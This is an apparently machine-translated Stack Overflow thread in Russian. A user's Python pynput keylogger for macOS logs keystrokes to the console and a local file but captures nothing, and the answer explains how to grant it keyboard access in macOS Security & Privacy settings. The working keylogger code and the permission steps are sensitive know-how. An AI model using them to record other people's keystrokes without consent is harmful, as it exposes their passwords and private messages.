Кейлоггер Python3 для MacOs: скрипт не работает

Я пытаюсь запустить простой кейлоггер, используя Python3 на MacOs. Ниже приведен сценарий.

import pynput
from pynput.keyboard import Key, Listener



count = 0
keys = []

def on_press(Key):
    global keys, count
    print("hello")
    keys.append(Key)
    count += 1
    print(f"{Key} pressed")

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

# hello this is a test for the keylogger.

def write_file(keys):
    with open("logger.txt", "a") as f:
        for key in keys:
            f.write(str(key))



def on_release(Key):
    if Key == Key.esc:
        return False




with Listener(on_press= on_press, on_release = on_release) as listener:
    listener.join()

Код показывает, какая клавиша нажата на консоли, а также через каждые некоторое время сохраняет нажатые клавиши в файле. Когда я запускаю скрипт с помощью sudo, при нажатии некоторых клавиш ничего не происходит. Мне не показывают какие клавиши нажимаются на консоли и файл тоже пустой.

Я не могу понять, в чем проблема. Я предполагаю, что это связано с ограничениями MacOs для предоставления полного доступа к клавиатуре. Но я не уверен.

Пожалуйста, помогите мне в этом.


person Sai Sankalp    schedule 07.04.2020    source источник
comment
Почему вы хотите запустить кейлоггер с помощью sudo?   -  person JustLearnedIt    schedule 07.04.2020
comment
Потому что, когда я обычно делаю это с помощью python3 filename.py, я сталкиваюсь с той же проблемой. Поэтому я подумал, может быть, это из-за ограничений администратора, давайте попробуем с sudo. Но бесполезно.   -  person Sai Sankalp    schedule 07.04.2020
comment
Помогает ли это?   -  person JustLearnedIt    schedule 07.04.2020
comment
ага попробовал. оно работает. Итак, мне нужно добавить терминал и мою IDE, чтобы это работало. Спасибо за вашу помощь :)   -  person Sai Sankalp    schedule 07.04.2020
comment
Пожалуйста. Этот вопрос был рекомендован как относительный :)   -  person JustLearnedIt    schedule 07.04.2020
comment
да, я только что заметил этот вопрос на соответствующей вкладке. Извините, что беспокою вас, не замечая этого. :)   -  person Sai Sankalp    schedule 07.04.2020
comment
Нет проблем ;) Я имею в виду, что ТАК пытается это сделать: всегда иметь ответ. Могу ли я добавить свой комментарий в качестве ответа?   -  person JustLearnedIt    schedule 07.04.2020
comment
Да, ты прав. конечно, пожалуйста :)   -  person Sai Sankalp    schedule 08.04.2020


Ответы (1)


Я нашел решение в соответствующем вопросе. Из соображений безопасности MacOS по умолчанию не разрешает кейлоггинг. Поэтому вам нужно включить его вручную:

  1. Настройки -> Безопасность и конфиденциальность
  2. Нажмите на вкладку Конфиденциальность
  3. Нажмите + и удерживайте CMD + SHIFT + . (чтобы вы могли видеть скрытые файлы/папки)

  4. Перейдите в /usr/local/bin или туда, где у вас установлен Python.

  5. Нажмите «ОК».

цитируется из этого ответа

person JustLearnedIt    schedule 08.04.2020